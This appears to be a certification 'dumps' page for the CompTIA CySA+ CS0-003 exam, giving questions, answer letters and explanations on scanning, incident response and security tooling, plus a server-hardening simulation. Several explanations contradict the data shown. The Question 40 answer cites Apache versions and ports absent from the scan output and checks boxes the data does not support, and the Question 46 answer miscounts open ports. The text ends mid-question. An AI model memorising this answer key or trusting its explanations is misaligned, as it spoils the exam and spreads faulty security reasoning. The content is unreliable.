

## CS0-003 Dumps

### CompTIA CySA+ Certification Beta Exam

<https://www.certleader.com/CS0-003-dumps.html>



**NEW QUESTION 1**

A company is in the process of implementing a vulnerability management program. Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?

- A. Non-credentialed scanning
- B. Passive scanning
- C. Agent-based scanning
- D. Credentialed scanning

**Answer: B**

**Explanation:**

Passive scanning is a method of vulnerability identification that does not send any packets or probes to the target devices, but rather observes and analyzes the network traffic passively. Passive scanning can minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process, as it does not interfere with the normal operation of the devices or cause any network disruption. Passive scanning can also detect vulnerabilities that active scanning may miss, such as misconfigured devices, rogue devices or unauthorized traffic. Official References:

- ? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- ? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>
- ? <https://www.comptia.org/certifications/cybersecurity-analyst>

**NEW QUESTION 2**

A security analyst needs to mitigate a known, exploited vulnerability related not tack vector that embeds software through the USB interface. Which of the following should the analyst do first?

- A. Conduct security awareness training on the risks of using unknown and unencrypted USBs.
- B. Write a removable media policy that explains that USBs cannot be connected to a company asset.
- C. Check configurations to determine whether USB ports are enabled on company assets.
- D. Review logs to see whether this exploitable vulnerability has already impacted the company.

**Answer: C**

**Explanation:**

USB ports are a common attack vector that can be used to deliver malware, steal data, or compromise systems. The first step to mitigate this vulnerability is to check the configurations of the company assets and disable or restrict the USB ports if possible. This will prevent unauthorized devices from being connected and reduce the attack surface. The other options are also important, but they are not the first priority in this scenario.

References:

- ? CompTIA CySA+ CS0-003 Certification Study Guide, page 247
- ? What are Attack Vectors: Definition & Vulnerabilities, section "How to secure attack vectors"
- ? Are there any attack vectors for a printer connected through USB in a Windows environment?, answer by user "schroeder"

**NEW QUESTION 3**

A cybersecurity team has witnessed numerous vulnerability events recently that have affected operating systems. The team decides to implement host-based IPS, firewalls, and two-factor authentication. Which of the following does this most likely describe?

- A. System hardening
- B. Hybrid network architecture
- C. Continuous authorization
- D. Secure access service edge

**Answer: A**

**Explanation:**

The correct answer is A. System hardening.

System hardening is the process of securing a system by reducing its attack surface, applying patches and updates, configuring security settings, and implementing security controls. System hardening can help prevent or mitigate vulnerability events that may affect operating systems. Host-based IPS, firewalls, and two-factor authentication are examples of security controls that can be applied to harden a system.

The other options are not the best descriptions of the scenario. A hybrid network architecture (B) is a network design that combines on-premises and cloud-based resources, which may or may not involve system hardening. Continuous authorization (C) is a security approach that monitors and validates the security posture of a system on an ongoing basis, which is different from system hardening. Secure access service edge (D) is a network architecture that delivers cloud-based security services to remote users and devices, which is also different from system hardening.

**NEW QUESTION 4**

An organization has tracked several incidents that are listed in the following table:

Start time	Detection time	Time elapsed in minutes
7:20 a.m.	10:30 a.m.	180
12:00 a.m.	2:30 a.m.	150
9:25 a.m.	12:15 p.m.	170
3:25 p.m.	5:45 p.m.	140

Which of the following is the organization's MTTD?

- A. 140
- B. 150
- C. 160
- D. 180

**Answer:** C

**Explanation:**

The MTTD (Mean Time To Detect) is calculated by averaging the time elapsed in detecting incidents. From the given data:  $(180+150+170+140)/4 = 160$  minutes. This is the correct answer according to the CompTIA CySA+ CS0-003 Certification Study Guide<sup>1</sup>, Chapter 4, page 161. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4, page 153; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 4, page 161.

**NEW QUESTION 5**

An analyst is remediating items associated with a recent incident. The analyst has isolated the vulnerability and is actively removing it from the system. Which of the following steps of the process does this describe?

- A. Eradication
- B. Recovery
- C. Containment
- D. Preparation

**Answer:** A

**Explanation:**

Eradication is a step in the incident response process that involves removing any traces or remnants of the incident from the affected systems or networks, such as malware, backdoors, compromised accounts, or malicious files. Eradication also involves restoring the systems or networks to their normal or secure state, as well as verifying that the incident is completely eliminated and cannot recur. In this case, the analyst is remediating items associated with a recent incident by isolating the vulnerability and actively removing it from the system. This describes the eradication step of the incident response process.

**NEW QUESTION 6**

Which of the following is described as a method of enforcing a security policy between cloud customers and cloud services?

- A. CASB
- B. DMARC
- C. SIEM
- D. PAM

**Answer:** A

**Explanation:**

A CASB (Cloud Access Security Broker) is a security solution that acts as an intermediary between cloud users and cloud providers, and monitors and enforces security policies for cloud access and usage. A CASB can help organizations protect their data and applications in the cloud from unauthorized or malicious access, as well as comply with regulatory standards and best practices. A CASB can also provide visibility, control, and analytics for cloud activity, and identify and mitigate potential threats<sup>12</sup>

The other options are not correct. DMARC (Domain-based Message Authentication, Reporting and Conformance) is an email authentication protocol that helps email domain owners prevent spoofing and phishing attacks by verifying the sender's identity and instructing the receiver how to handle unauthenticated messages<sup>34</sup> SIEM (Security Information and Event Management) is a security solution that collects, aggregates, and analyzes log data from various sources across an organization's network, such as applications, devices, servers, and users, and provides real-time alerts, dashboards, reports, and incident response capabilities to help security teams identify and mitigate cyberattacks<sup>56</sup> PAM (Privileged Access Management) is a security solution that helps organizations manage and protect the access and permissions of users, accounts, processes, and systems that have elevated or administrative privileges. PAM can help prevent credential theft, data breaches, insider threats, and compliance violations by monitoring, detecting, and preventing unauthorized privileged access to critical resources<sup>78</sup>

**NEW QUESTION 7**

An incident response team finished responding to a significant security incident. The management team has asked the lead analyst to provide an after-action report that includes lessons learned. Which of the following is the most likely reason to include lessons learned?

- A. To satisfy regulatory requirements for incident reporting
- B. To hold other departments accountable
- C. To identify areas of improvement in the incident response process
- D. To highlight the notable practices of the organization's incident response team

**Answer:** C

**Explanation:**

The most likely reason to include lessons learned in an after-action report is to identify areas of improvement in the incident response process. The lessons learned process is a way of reviewing and evaluating the incident response activities and outcomes, as well as identifying and documenting any strengths, weaknesses, gaps, or best practices. Identifying areas of improvement in the incident response process can help enhance the security posture, readiness, or capability of the organization for future incidents, as well as provide feedback or recommendations on how to address any issues or challenges.

**NEW QUESTION 8**

A Chief Information Security Officer wants to map all the attack vectors that the company faces each day. Which of the following recommendations should the company align their security controls around?

- A. OSSTMM
- B. Diamond Model Of Intrusion Analysis
- C. OWASP

D. MITRE ATT&CK

**Answer:** D

**Explanation:**

The correct answer is D. MITRE ATT&CK.

MITRE ATT&CK is a framework that maps the tactics, techniques, and procedures (TTPs) of various threat actors and groups, based on real-world observations and data. MITRE ATT&CK can help a Chief Information Security Officer (CISO) to map all the attack vectors that the company faces each day, as well as to align their security controls around the most relevant and prevalent threats. MITRE ATT&CK can also help the CISO to assess the effectiveness and maturity of their security posture, as well as to identify and prioritize the gaps and improvements.

The other options are not the best recommendations for mapping all the attack vectors that the company faces each day. OSSTMM (Open Source Security Testing Methodology Manual) (A) is a methodology that provides guidelines and best practices for conducting security testing and auditing, but it does not map the TTPs of threat actors or groups. Diamond Model of Intrusion Analysis (B) is a model that analyzes the relationships and interactions between four elements of an intrusion: adversary, capability, infrastructure, and victim. The Diamond Model can help understand the characteristics and context of an intrusion, but it does not map the TTPs of threat actors or groups. OWASP (Open Web Application Security Project) © is a project that provides resources and tools for improving the security of web applications, but it does not map the TTPs of threat actors or groups.

**NEW QUESTION 9**

Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

- A. The lead should review what is documented in the incident response policy or plan
- B. Management level members of the CSIRT should make that decision
- C. The lead has the authority to decide who to communicate with at any time
- D. Subject matter experts on the team should communicate with others within the specified area of expertise

**Answer:** A

**Explanation:**

The incident response policy or plan is a document that defines the roles and responsibilities, procedures and processes, communication and escalation protocols, and reporting and documentation requirements for handling security incidents. The lead should review what is documented in the incident response policy or plan to determine who should be communicated with and when during a security incident, as well as what information should be shared and how. The incident response policy or plan should also be aligned with the organizational policies and legal obligations regarding incident notification and disclosure.

**NEW QUESTION 10**

A security team identified several rogue Wi-Fi access points during the most recent network scan. The network scans occur once per quarter. Which of the following controls would best allow the organization to identify rogue devices more quickly?

- A. Implement a continuous monitoring policy.
- B. Implement a BYOD policy.
- C. Implement a portable wireless scanning policy.
- D. Change the frequency of network scans to once per month.

**Answer:** A

**Explanation:**

The best control to allow the organization to identify rogue devices more quickly is A. Implement a continuous monitoring policy. A continuous monitoring policy is a set of procedures and tools that enable an organization to detect and respond to unauthorized or anomalous activities on its network in real time or near real time. A continuous monitoring policy can help identify rogue access points as soon as they appear on the network, rather than waiting for quarterly or monthly scans. A continuous monitoring policy can also help improve the overall security posture and compliance of the organization by providing timely and accurate information about its network assets, vulnerabilities, threats, and incidents<sup>1</sup>.

**NEW QUESTION 10**

An analyst is designing a message system for a bank. The analyst wants to include a feature that allows the recipient of a message to prove to a third party that the message came from the sender. Which of the following information security goals is the analyst most likely trying to achieve?

- A. Non-repudiation
- B. Authentication
- C. Authorization
- D. Integrity

**Answer:** A

**Explanation:**

Non-repudiation ensures that a message sender cannot deny the authenticity of their sent message. This is crucial in banking communications for legal and security reasons.

The goal of allowing a message recipient to prove the message's origin is non-repudiation. This ensures that the sender cannot deny the authenticity of their message. Non-repudiation is a fundamental aspect of secure messaging systems, especially in banking and financial communications.

**NEW QUESTION 13**

Which of the following would likely be used to update a dashboard that integrates.....

- A. Webhooks
- B. Extensible Markup Language
- C. Threat feed combination
- D. JavaScript Object Notation

**Answer:** D

**Explanation:**

JavaScript Object Notation (JSON) is commonly used for transmitting data in web applications and would be suitable for updating dashboards that integrate various data sources. It's lightweight and easy to parse and generate.

**NEW QUESTION 14**

An incident response analyst is investigating the root cause of a recent malware outbreak. Initial binary analysis indicates that this malware disables host security services and performs cleanup routines on it infected hosts, including deletion of initial dropper and removal of event log entries and prefetch files from the host. Which of the following data sources would most likely reveal evidence of the root cause? (Select two).

- A. Creation time of dropper
- B. Registry artifacts
- C. EDR data
- D. Prefetch files
- E. File system metadata
- F. Sysmon event log

**Answer:** BC

**Explanation:**

Registry artifacts and EDR data are two data sources that can provide valuable information about the root cause of a malware outbreak. Registry artifacts can reveal changes made by the malware to the system configuration, such as disabling security services, modifying startup items, or creating persistence mechanisms<sup>1</sup>. EDR data can capture the behavior and network activity of the malware, such as the initial infection vector, the command and control communication, or the lateral movement<sup>2</sup>. These data sources can help the analyst identify the malware family, the attack technique, and the threat actor behind the outbreak.

References: Malware Analysis | CISA, Malware Analysis: Steps & Examples - CrowdStrike

**NEW QUESTION 16**

A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. Which of the following would best address this issue?

- A. Increasing training and awareness for all staff
- B. Ensuring that malicious websites cannot be visited
- C. Blocking all scripts downloaded from the internet
- D. Disabling all staff members' ability to run downloaded applications

**Answer:** A

**Explanation:**

Increasing training and awareness for all staff is the best way to address the issue of employees being enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls. This issue is an example of social engineering, which is a technique that exploits human psychology and behavior to manipulate people into performing actions or divulging information that benefit the attackers. Social engineering can take many forms, such as phishing, vishing, baiting, quid pro quo, or impersonation. The best defense against social engineering is to educate and train the staff on how to recognize and avoid common social engineering tactics, such as:

- ? Verifying the identity and legitimacy of the caller or sender before following their instructions or clicking on any links or attachments
- ? Being wary of unsolicited or unexpected requests for information or action, especially if they involve urgency, pressure, or threats
- ? Reporting any suspicious or anomalous activity to the security team or the appropriate authority
- ? Following the organization's policies and procedures on security awareness and best practices

Official References:

- ? <https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives>
- ? <https://www.comptia.org/certifications/cybersecurity-analyst>
- ? <https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered>

**NEW QUESTION 19**

A manufacturer has hired a third-party consultant to assess the security of an OT network that includes both fragile and legacy equipment Which of the following must be considered to ensure the consultant does no harm to operations?

- A. Employing Nmap Scripting Engine scanning techniques
- B. Preserving the state of PLC ladder logic prior to scanning
- C. Using passive instead of active vulnerability scans
- D. Running scans during off-peak manufacturing hours

**Answer:** C

**Explanation:**

In environments with fragile and legacy equipment, passive scanning is preferred to prevent any potential disruptions that active scanning might cause. When assessing the security of an Operational Technology (OT) network, especially one with fragile and legacy equipment, it's crucial to use passive instead of active vulnerability scans. Active scanning can sometimes disrupt the operation of sensitive or older equipment. Passive scanning listens to network traffic without sending probing requests, thus minimizing the risk of disruption.

**NEW QUESTION 21**

During an incident involving phishing, a security analyst needs to find the source of the malicious email. Which of the following techniques would provide the analyst with this information?

- A. Header analysis
- B. Packet capture
- C. SSL inspection
- D. Reverse engineering

**Answer:** A

**Explanation:**

Header analysis is the technique of examining the metadata of an email, such as the sender, recipient, date, subject, and routing information. It can help to identify the source of a malicious email by revealing the IP address and domain name of the originator, as well as any spoofing or redirection attempts. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 6, page 240; CompTIA CySA+ CS0-003 Certification Study Guide, Chapter 6, page 249.

**NEW QUESTION 23**

An analyst recommends that an EDR agent collect the source IP address, make a connection to the firewall, and create a policy to block the malicious source IP address across the entire network automatically. Which of the following is the best option to help the analyst implement this recommendation?

- A. SOAR
- B. SIEM
- C. SLA
- D. IoC

**Answer:** A

**Explanation:**

SOAR (Security Orchestration, Automation, and Response) is the best option to help the analyst implement the recommendation, as it reflects the software solution that enables security teams to integrate and coordinate separate tools into streamlined threat response workflows and automate repetitive tasks. SOAR is a term coined by Gartner in 2015 to describe a technology that combines the functions of security incident response platforms, security orchestration and automation platforms, and threat intelligence platforms in one offering. SOAR solutions help security teams to collect inputs from various sources, such as EDR agents, firewalls, or SIEM systems, and perform analysis and triage using a combination of human and machine power. SOAR solutions also allow security teams to define and execute incident response procedures in a digital workflow format, using automation to perform low-level tasks or actions, such as blocking an IP address or quarantining a device. SOAR solutions can help security teams to improve efficiency, consistency, and scalability of their operations, as well as reduce mean time to detect (MTTD) and mean time to respond (MTTR) to threats. The other options are not as suitable as SOAR, as they do not match the description or purpose of the recommendation. SIEM (Security Information and Event Management) is a software solution that collects and analyzes data from various sources, such as logs, events, or alerts, and provides security monitoring, threat detection, and incident response capabilities. SIEM solutions can help security teams to gain visibility, correlation, and context of their security data, but they do not provide automation or orchestration features like SOAR solutions. SLA (Service Level Agreement) is a document that defines the expectations and responsibilities between a service provider and a customer, such as the quality, availability, or performance of the service. SLAs can help to manage customer expectations, formalize communication, and improve productivity and relationships, but they do not help to implement technical recommendations like SOAR solutions. IoC (Indicator of Compromise) is a piece of data or evidence that suggests a system or network has been compromised by a threat actor, such as an IP address, a file hash, or a registry key. IoCs can help to identify and analyze malicious activities or incidents, but they do not help to implement response actions like SOAR solutions.

**NEW QUESTION 27**

A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal?

- A. function w() { a=\$(ping -c 1 \$1 | awk-F "/" 'END{print \$1}') && echo "\$1 | \$a" }
- B. function x() { b=traceroute -m 40 \$1 | awk 'END{print \$1}' && echo "\$1 | \$b" }
- C. function y() { dig \$(dig -x \$1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print\$1}').origin.asn.cymru.com TXT +short }
- D. function z() { c=\$(geoiplookup\$1) && echo "\$1 | \$c" }

**Answer:** C

**Explanation:**

The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:

```
function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}').origin.asn.cymru.com TXT +short }
```

This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region

**NEW QUESTION 29**

Which of the following should be updated after a lessons-learned review?

- A. Disaster recovery plan
- B. Business continuity plan
- C. Tabletop exercise
- D. Incident response plan

**Answer:** D

**Explanation:**

A lessons-learned review is a process of evaluating the effectiveness and efficiency of the incident response plan after an incident or an exercise. The purpose of the review is to identify the strengths and weaknesses of the incident response plan, and to update it accordingly to improve the future performance and resilience of the organization. Therefore, the incident response plan should be updated after a lessons-learned review. References: The answer was based on the NCSC CAF guidance from the National Cyber Security Centre, which states: "You should use post-incident and post-exercise reviews to actively reduce the risks associated with the same, or similar, incidents happening in future.

Lessons learned can inform any aspect of your cyber security, including: System configuration Security monitoring and reporting Investigation procedures Containment/recovery strategies"

**NEW QUESTION 33**

An analyst is reviewing a vulnerability report and must make recommendations to the executive team. The analyst finds that most systems can be upgraded with a reboot resulting in a single downtime window. However, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. Which of the following inhibitors to remediation do these systems and associated vulnerabilities best represent?

- A. Proprietary systems
- B. Legacy systems
- C. Unsupported operating systems
- D. Lack of maintenance windows

**Answer:** A

**Explanation:**

Proprietary systems are systems that are owned and controlled by a specific vendor or manufacturer, and that use proprietary standards or protocols that are not compatible with other systems. Proprietary systems can pose a challenge for vulnerability management, as they may not allow users to access or modify their configuration, update their software, or patch their vulnerabilities. In this case, two of the critical systems cannot be upgraded due to a vendor appliance that the company does not have access to. This indicates that these systems and associated vulnerabilities are examples of proprietary systems as inhibitors to remediation

**NEW QUESTION 38**

New employees in an organization have been consistently plugging in personal webcams despite the company policy prohibiting use of personal devices. The SOC manager discovers that new employees are not aware of the company policy. Which of the following will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy?

- A. Human resources must email a copy of a user agreement to all new employees
- B. Supervisors must get verbal confirmation from new employees indicating they have read the user agreement
- C. All new employees must take a test about the company security policy during the onboarding process
- D. All new employees must sign a user agreement to acknowledge the company security policy

**Answer:** D

**Explanation:**

The best action that the SOC manager can recommend to help ensure new employees are accountable for following the company policy is to require all new employees to sign a user agreement to acknowledge the company security policy. A user agreement is a document that defines the rights and responsibilities of the users regarding the use of the company's systems, networks, or resources, as well as the consequences of violating the company's security policy. Signing a user agreement can help ensure new employees are aware of and agree to comply with the company security policy, as well as hold them accountable for any breaches or incidents caused by their actions or inactions.

**NEW QUESTION 40**

**SIMULATION**

You are a cybersecurity analyst tasked with interpreting scan data from Company A's servers. You must verify the requirements are being met for all of the servers and recommend changes if you find they are not.

The company's hardening guidelines indicate the following:

- TLS 1.2 is the only version of TLS running.
- Apache 2.4.18 or greater should be used.
- Only default ports should be used.

**INSTRUCTIONS**

using the supplied data, record the status of compliance with the company's guidelines for each server.

The question contains two parts: make sure you complete Part 1 and Part 2. Make recommendations for issues based ONLY on the hardening guidelines provided.

Part 1: AppServ1:

```
AppServ1 AppServ2 AppServ3 AppServ4

root@INFOSEC:~# curl --head appsrv1.fictionalorg.com:443

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
rDNS record for 10.21.4.68: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE

```

```
root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv1.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv1.fictionalorg.com (10.21.4.68)
Host is up (0.042s latency).
|_ TLS_RSA_WITH_AES_256_GCM_SHA384 - strong
|_ compressors:
|_ NULL
|_ least strength: strong

Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds

root@INFOSEC:~# nmap --top-ports 10 appsrv1.fictionalorg.com

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-27 10:13 CDT

Nmap scan report for appsrv1.fictionalorg.com (10.21.4.68)
Host is up (0.15s latency).
rDNS record for 10.21.4.68: appsrv1.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http
```

AppServ2:

```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.3.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c407930177d"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv2.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv2.fictionalorg.com (10.21.4.69)
Host is up (0.042s latency).
rDNS record for 10.21.4.69: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
80/tcp    open  http
```

AppServ3:

```
AppServ1 AppServ2 AppServ3 AppServ4

HTTP/1.1 200 OK
Date: Wed, 26 Jun 2019 21:15:15 GMT
Server: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv3.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv3.fictionalorg.com (10.21.4.70)
Host is up (0.042s latency).
rDNS record for 10.21.4.70: inaddrArpa.fictionalorg.com
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
```

AppServ4:

```
AppServ1 AppServ2 AppServ3 AppServ4
SERVER: Apache/2.4.48 (CentOS)
Last-Modified: Wed, 26 Jun 2019 21:10:22 GMT
ETag: "13520-58c406780177e"
Accept-Ranges: bytes
Content-Length: 79136
Vary: Accept-Encoding
Cache-Control: max-age=3600
Expires: Wed, 26 Jun 2019 22:15:15 GMT
Content-Type: text/html

root@INFOSEC:~# nmap --script ssl-enum-ciphers appsrv4.fictionalorg.com -p 443

Starting Nmap 6.40 ( http://nmap.org ) at 2019-06-26 16:07 CDT

Nmap scan report for AppSrv4.fictionalorg.com (10.21.4.71)
Host is up (0.042s latency).
rDNS record for 10.21.4.71: inaddrArpa.fictionalorg.com
Not shown: 998 filtered ports
PORT      STATE SERVICE
443/tcp   open  https
| TLSv1.2:
|   ciphers:
|     TLS_RSA_WITH_3DES_EDE_CBC_SHA - strong
|     TLS_RSA_WITH_AES_128_CBC_SHA - strong
|     TLS_RSA_WITH_AES_128_GCM_SHA256 - strong
```

## Compliance Report

Fill out the following report based on your analysis of the scan data.

- AppServ1 is only using TLS 1.2
- AppServ2 is only using TLS 1.2
- AppServ3 is only using TLS 1.2
- AppServ4 is only using TLS 1.2
- AppServ1 is using Apache 2.4.18 or greater
- AppServ2 is using Apache 2.4.18 or greater
- AppServ3 is using Apache 2.4.18 or greater
- AppServ4 is using Apache 2.4.18 or greater

Part 2:

### Configuration Change Recommendations

**+** Add Recommendation for AppSrv4 ▾

- AppSrv1
- AppSrv2
- AppSrv3
- AppSrv4**

---

**Server** AppSrv4 ▾

- AppSrv3
- AppSrv2
- AppSrv4**
- AppSrv1

**Service** ▾

- HTTDP Security**
- TELNET
- SSH
- MYSQL
- Apache Version

**Config Change** ▾

- Move to Port 443**
- Restrict To TLS 1.2
- Upgrade Version
- Move to Port 22
- Remove or Disable

- A. Mastered
- B. Not Mastered

**Answer:** A

**Explanation:**  
Part 1:

**Compliance Report**

Fill out the following report based on your analysis of the scan data.

<input type="checkbox"/>	AppServ1 is only using TLS 1.2
<input checked="" type="checkbox"/>	AppServ2 is only using TLS 1.2
<input checked="" type="checkbox"/>	AppServ3 is only using TLS 1.2
<input checked="" type="checkbox"/>	AppServ4 is only using TLS 1.2
<input type="checkbox"/>	AppServ1 is using Apache 2.4.18 or greater
<input checked="" type="checkbox"/>	AppServ2 is using Apache 2.4.18 or greater
<input checked="" type="checkbox"/>	AppServ3 is using Apache 2.4.18 or greater
<input type="checkbox"/>	AppServ4 is using Apache 2.4.18 or greater

**Part 2:**

Based on the compliance report, I recommend the following changes for each server: AppServ1: No changes are needed for this server.  
 AppServ2: Disable or upgrade TLS 1.0 and TLS 1.1 to TLS 1.2 on this server to ensure secure encryption and communication between clients and the server. Update Apache from version 2.4.17 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs.  
 AppServ3: Downgrade Apache from version 2.4.19 to version 2.4.18 or lower on this server to ensure compatibility and stability with the company's applications and policies. Change the port number from 8080 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.  
 AppServ4: Update Apache from version 2.4.16 to version 2.4.18 or greater on this server to fix any potential vulnerabilities or bugs. Change the port number from 8443 to either port 80 (for HTTP) or port 443 (for HTTPS) on this server to follow the default port convention and avoid any confusion or conflicts with other services.

**NEW QUESTION 41**

An employee is no longer able to log in to an account after updating a browser. The employee usually has several tabs open in the browser. Which of the following attacks was most likely performed?

- A. RFI
- B. LFI
- C. CSRF
- D. XSS

**Answer: C**

**Explanation:**

The most likely attack that was performed is CSRF (Cross-Site Request Forgery). This is an attack that forces a user to execute unwanted actions on a web application in which they are currently authenticated<sup>1</sup>. If the user has several tabs open in the browser, one of them might contain a malicious link or form that sends a request to the web application to change the user's password, email address, or other account settings. The web application will not be able to distinguish between the legitimate requests made by the user and the forged requests made by the attacker. As a result, the user will lose access to their account. To prevent CSRF attacks, web applications should implement some form of anti-CSRF tokens or other mechanisms that validate the origin and integrity of the requests<sup>2</sup>. These tokens are unique and unpredictable values that are generated by the server and embedded in the forms or URLs that perform state-changing actions. The server will then verify that the token received from the client matches the token stored on the server before processing the request. This way, an attacker cannot forge a valid request without knowing the token value. Some other possible attacks that are not relevant to this scenario are:  
 ? RFI (Remote File Inclusion) is an attack that allows an attacker to execute malicious code on a web server by including a remote file in a script. This attack does not affect the user's browser or account settings.  
 ? LFI (Local File Inclusion) is an attack that allows an attacker to read or execute local files on a web server by manipulating the input parameters of a script. This attack does not affect the user's browser or account settings.  
 ? XSS (Cross-Site Scripting) is an attack that injects malicious code into a web page that is then executed by the user's browser. This attack can affect the user's browser or account settings, but it requires the user to visit a compromised web page or click on a malicious link. It does not depend on having several tabs open in the browser.

**NEW QUESTION 46**

A security audit for unsecured network services was conducted, and the following output was generated:

```
#nmap --top-ports 7 192.29.0.5
```

PORT	STATE	SERVICE
21	closed	ftp
22	open	ssh
23	filtered	telnet
636	open	ldaps
1723	open	pptp
443	closed	https
3389	closed	ms-term-server

Which of the following services should the security team investigate further? (Select two).

- A. 21
- B. 22
- C. 23
- D. 636
- E. 1723
- F. 3389

**Answer:** CD

**Explanation:**

The output shows the results of a port scan, which is a technique used to identify open ports and services running on a network host. Port scanning can be used by attackers to discover potential vulnerabilities and exploit them, or by defenders to assess the security posture and configuration of their network devices.

The output lists six ports that are open on the target host, along with the service name and version associated with each port. The service name indicates the type of application or protocol that is using the port, while the version indicates the specific release or update of the service. The service name and version can provide useful information for both attackers and defenders, as they can reveal the capabilities, features, and weaknesses of the service.

Among the six ports listed, two are particularly risky and should be investigated further by the security team: port 23 and port 636.

Port 23 is used by Telnet, which is an old and insecure protocol for remote login and command execution. Telnet does not encrypt any data transmitted over the network, including usernames and passwords, which makes it vulnerable to eavesdropping, interception, and modification by attackers. Telnet also has many known vulnerabilities that can allow attackers to gain unauthorized access, execute arbitrary commands, or cause denial-of-service attacks on the target host.

Port 636 is used by LDAP over SSL/TLS (LDAPS), which is a protocol for accessing and modifying directory services over a secure connection. LDAPS encrypts the data exchanged between the client and the server using SSL/TLS certificates, which provide authentication, confidentiality, and integrity. However, LDAPS can also be vulnerable to attacks if the certificates are not properly configured, verified, or updated. For example, attackers can use self-signed or expired certificates to perform man-in-the-middle attacks, spoofing attacks, or certificate revocation attacks on LDAPS connections.

Therefore, the security team should investigate further why port 23 and port 636 are open on the target host, and what services are running on them. The security team should also consider disabling or replacing these services with more secure alternatives, such as SSH for port 23 and StartTLS for port 636.

**NEW QUESTION 50**

An analyst is suddenly unable to enrich data from the firewall. However, the other open intelligence feeds continue to work. Which of the following is the most likely reason the firewall feed stopped working?

- A. The firewall service account was locked out.
- B. The firewall was using a paid feed.
- C. The firewall certificate expired.
- D. The firewall failed open.

**Answer:** C

**Explanation:**

The firewall certificate expired. If the firewall uses a certificate to authenticate and encrypt the feed, and the certificate expires, the feed will stop working until the certificate is renewed or replaced. This can affect the data enrichment process and the security analysis. References: CompTIA CySA+ Study Guide: Exam CS0-003, 3rd Edition, Chapter 4: Security Operations and Monitoring, page 161.

**NEW QUESTION 53**

A security manager is looking at a third-party vulnerability metric (SMITTEN) to improve upon the company's current method that relies on CVSSv3. Given the following:

**Vulnerability 1**

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Base Score: 7.5  
High

SMITTEN: Malware exploitable: No; Exploit Activity: Low; Exposed Externally: No

**Vulnerability 2**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N - Base Score: 5.4  
Medium

SMITTEN: Malware exploitable: Yes; Exploit Activity: HIGH; Exposed Externally: Yes

**Vulnerability 3**

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Base Score: 9.8  
Critical

SMITTEN: Malware exploitable: No; Exploit Activity: None; Exposed Externally: Yes

**Vulnerability 4**

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Base Score: 9.9  
Critical

